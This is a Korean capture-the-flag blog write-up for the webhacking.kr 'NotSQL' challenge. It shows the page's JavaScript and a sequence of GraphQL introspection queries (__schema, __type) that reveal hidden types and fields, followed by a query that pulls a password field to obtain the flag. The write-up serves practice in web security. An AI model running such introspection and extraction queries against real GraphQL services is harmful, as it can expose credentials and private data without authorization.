write-up(web)/webhacking.kr

[Webhacking.kr] NotSQL

chanchand 2023. 1. 19. 16:58
반응형

문제


 

각각 파라미터 no이 1일 때와 2일 때의 결과이다.

 

<script>
    function getQueryVar(variable) {
        var query = window.location.search.substring(1);
        var vars = query.split('&');
        for (var i = 0; i < vars.length; i++) {
            var pair = vars[i].split('=');
            if (decodeURIComponent(pair[0]) == variable) {
                return decodeURIComponent(pair[1]);
            }
        }
    }
    if(!getQueryVar("no")){
      q = `query{
        view{
          no,
          subject
        }
      }`;
      xhr = new XMLHttpRequest();
      xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
      xhr.send();
      res = JSON.parse(xhr.response);
      for(i=0;i<res.data.view.length;i++){
        board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
      }
    }
    else{
      q = `query{
        view{
          no,
          subject,
          content
        }
      }`;
      xhr = new XMLHttpRequest();
      xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
      xhr.send();
      res = JSON.parse(xhr.response);
      v = res.data.view;
      try{
        parsed = v.find(v => v.no==getQueryVar("no"));
        board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
      }
      catch{
        board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
      }
    }
</script>

 

 

 

문제풀이


view.php에 query 매개변수를 전송할 때, 아래와 같은 결과를 볼 수 있다.

/view.php?query=query{view{no,subject}}
/view.php?query=query{view{no,subject,content}}

 

빈 쿼리를 날릴 때 결과는 아래와 같다.

/view.php?query=query{}

 

 

SQL의 information_schema.tables 처럼 작동하는 쿼리인 query{__schema{types{name}}}을 전송하면 아래와 같다.

/view.php?query=query{__schema{types{name}}}

필드 이름을 알아내기 위해 전송하면 결과는 아래와 같다.

/view.php?query=query{__type(name:"User_d51e7f78cbb219316e0b7cfe1a64540a"){name,fields{name}}}
/view.php?query=query{__type(name:"Query"){name,fields{name}}}

 

위에서 얻은 정보를 바탕으로 쿼리를 날리면 flag 값을 얻을 수 있다.

/view.php?query=query{login_51b48f6f7e6947fba0a88a7147d54152{passwd_e31db968948082b92e60411dd15a25cd}}

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-03  (0) 2023.02.18
[Webhacking.kr] old-02  (0) 2023.02.18
[Webhacking.kr] BABY  (0) 2023.01.16
[Webhacking.kr] old-61  (0) 2023.01.15
[Webhacking.kr] old-60  (0) 2023.01.15